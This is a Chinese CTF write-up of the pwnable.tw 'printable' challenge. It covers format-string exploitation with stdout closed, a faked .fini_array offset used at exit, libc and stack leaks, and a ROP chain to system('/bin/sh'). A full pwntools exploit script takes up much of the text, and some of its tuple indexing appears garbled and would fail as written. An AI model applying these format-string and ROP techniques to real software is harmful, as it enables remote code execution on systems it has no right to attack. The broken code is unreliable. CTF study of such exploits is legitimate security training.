[pwnable.tw] printable - 利用exit过程伪造.fini_array到可控内存
分析
题目主要逻辑非常短:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-90h]
unsigned __int64 v4; // [rsp+88h] [rbp-8h]
v4 = __readfsqword(0x28u);
init_proc(); // set no buf
memset(&s, 0, 0x80uLL); // 0x80栈上缓冲区
printf("Input :", 0LL);
close(1); // 关闭输出流
// 需要想办法打开或绕过
read(0, &s, 0x80uLL);
printf(&s, &s); // 裸的格式化串
exit(0); // 直接exit0,考虑利用fini_array
}
在read之前调用了close(1)
来关闭stdout
流,然后有一个裸的格式化字符串漏洞。由于stderr
没有关闭,可以通过半个字节的爆破将bss段上stdout
指针指向和stderr
同一个文件结构体,此时再调用printf
函数时,就可以将内容从stderr
流输出来。
在调试过程中发现fini_array
内存不可写,不能通过直接写指针来让执行流形成loop。这里是本题最关键的难点。通过查阅资料后发现,在最后exit(0)
的执行过程中会出现如下图的一处指令,来调用fini_array[0]
处保存的指针:
其中r12
为&fini_array[0]
的值,而rdx
固定为0,于是往前找可以找到如下控制r12
的指令:
r12
初始值为&fini_array[0]
,然后加上[rbx]
的值。而rbx
中保存的地址,正是第一次调用printf
前,栈上第42
个参数的值。于是想到,在格式化字符串利用时写&fini_array[0]
与一个可写可控地址(如.bss_start
)之间的偏移量到该指针指向的内存。只要提前将要返回的起始地址写到.bss_start
上,那么最后在exit
时就可以构造出call *.bss_start
这样的跳转。
修改完stdout
并返回read片段后的主要任务就是泄露glibc
和栈地址。但是由于栈发生了变动,泄露完后不能直接再次返回。很碰巧的是在第二次printf
前,栈上第23
个变量正好是储存第二次调用printf
时保存函数返回地址的栈地址的指针。于是省去了部分写的麻烦,直接写该地址,这样当printf
执行完后就会直接回到read片段,且栈不会发生大的变化。(这是第二个容易卡住的点)
最后一步很明显是借助上面的方法去getshell,但是不知道为何,直接写printf
返回地址为one_gadget
地址时无法成功getshell。于是我想在写返回地址的基础上在payload后面布置一段执行system("/bin/sh");
的rop链。然后把返回地址写为add rsp, 0x80; ret;
这样的gadget,从而在printf
返回时跳过payload,执行提前布置的rop链来getshell。
需要注意的是,最后一次写返回地址需要写长达6个字节,于是我拆分成了3次,每次写2字节。为了保证从小到大地写入三个地址片段(格式化字符串基本概念),我在分出每个片段后做了一次排序。
虽然说修改了stdout
指针,但是getshell之后直接cat文件会提示文件描述符错误,需要在指令中重定向一下:cat /home/printable/printable_fl4g 1>&2;
。符号>
左边为文件描述符,右边如果直接使用2
会被认为是重定向到一个名为2
的文件,所以需要用&
修饰,表示这是一个文件描述符。
思路
改写
stdout
,改写fini_array
偏移到bss_start
位置;泄露栈地址,
glibc
地址,修改printf
返回地址;修改
printf
返回地址为add rsp, 0x80; ret;
gadget,在格式化串payload后面布置好system("/bin/sh");
rop链.
EXP
#/usr/bin/python3
from pwn import *
import time
local_dbg = 1
libc = ELF("./libc_64.so.6")
elf = ELF("./printable")
context.log_level = "debug"
# const
ret_addr = 0x400925 #ret->read->printf->...
bss_addr = 0x601000
fini_array_0 = 0x600DB8 #fini_array[0]
fini_array_1 = 0x600DB8+8 #fini_array[1]
bss_stdout = 0x601020 # low bytes: 0x2620->0x2540
libc_csu_fini = elf.symbols[b"__libc_csu_fini"]
fini_array_to_bss_offset = bss_addr - fini_array_0
one_list = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
print("[*] libc_csu_fini:", hex(libc_csu_fini))
print("[*] fini_array_to_bss_offset:", hex(fini_array_to_bss_offset))
def exp():
#gdb.attach(p, "b *0x40094d\nc\n")
# build ret &
# make stdout->stderr struct &
# build fake fini_array in bss_start &
payload1 = "%{}c%{}$hhn".format(0x25, 16) #stdout_addr[1]
payload1 += "%{}c%{}$hhn".format(0x40-0x25, 17) #stdout_addr[0]
payload1 += "%{}$hnn".format(18) #bss_start[2]
payload1 += "%{}c%{}$hn".format(fini_array_to_bss_offset-0x40-1, 0x2a) #stack ptr
payload1 += "%{}c%{}$hn".format(0x925-fini_array_to_bss_offset, 19) #bss_start[0:2]
payload1 = payload1.encode().ljust(0x50, b"\x00")
payload1 += p64(bss_stdout+1) #16
payload1 += p64(bss_stdout) #17
payload1 += p64(bss_addr+2) #18
payload1 += p64(bss_addr) #19
p.sendafter("Input :", payload1+b"\n\x00")
time.sleep(0.5)
# leak libc & stack
payload2 = "%{}c%{}$hhn".format(0x25, 0x17) # modify printf's ret addr
payload2 += "||%{}$p||%{}$p||".format(0x39, 0x3c)
payload2 = payload2.encode()
p.send(payload2+b"\x00")
p.recvuntil(b"||")
stack_leak = int(p.recvuntil(b"||", drop=True), 16)
libc_leak = int(p.recvuntil(b"||", drop=True), 16)
libc_base = libc_leak - 240 - libc.symbols[b"__libc_start_main"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.symbols[b"system"]
print("[*] stack_leak:", hex(stack_leak))
print("[*] libc_leak:", hex(libc_leak))
print("[*] libc_base:", hex(libc_base))
print("[*] system:", hex(system))
print("[*] binsh:", hex(binsh))
# ret to system("/bin/sh")
## some gadgets
add_rsp_0x80_ret = libc_base + 0x6b4b8
stack_printf_ret = stack_leak - 0x290
pop_rdi_ret = 0x4009c3
print("[*] add_rsp_0x80_ret:", hex(add_rsp_0x80_ret))
print("[*] stack_printf_ret:", hex(stack_printf_ret))
gadget = add_rsp_0x80_ret
gadget_addr_parts = {
0 : gadget&0xffff,
1 : (gadget&(0xffff<<16))>>16,
2 : (gadget&(0xffff<<32))>>32
}
gadget_addr_parts = sorted(gadget_addr_parts.items(), key=lambda x:x[1])
print("[*] sorted one_gadget addr parts:")
for item in gadget_addr_parts:
print(item[0], ":", hex(item[1]))
## gadget part
payload3 = "%{}c%{}$hn".format(
gadget_addr_parts[0][3],
0x13)
## gadget part
payload3 += "%{}c%{}$hn".format(
gadget_addr_parts[1][4] - gadget_addr_parts[0][5],
0x14)
## gadget part
payload3 += "%{}c%{}$hn".format(
gadget_addr_parts[2][6] - gadget_addr_parts[1][7],
0x15)
payload3 = payload3.encode().ljust(0x30, b"\x00")
## addrs
for item in gadget_addr_parts:
payload3 += p64(stack_printf_ret+0x2*item[0]) #0x13-0x15
## rop
rop_chain = p64(0x4009c3) + p64(binsh) + p64(system)
p.send(payload3 + rop_chain + b"\n\x00")
# get shell
#cmd = "cat /home/printable/printable_fl4g 1>&2;"
p.interactive()
action = input("What's next: ")
return False if action == "exit" else True
if __name__ == "__main__":
global p
while True:
#p = process("./printable", env = {"LD_PRELOAD":"./libc_64.so.6"})
p = remote("chall.pwnable.tw", 10307)
try:
ret = exp()
if ret == False:
p.close()
break
else:
p.close()
continue
except:
print("ERROR!")
p.close()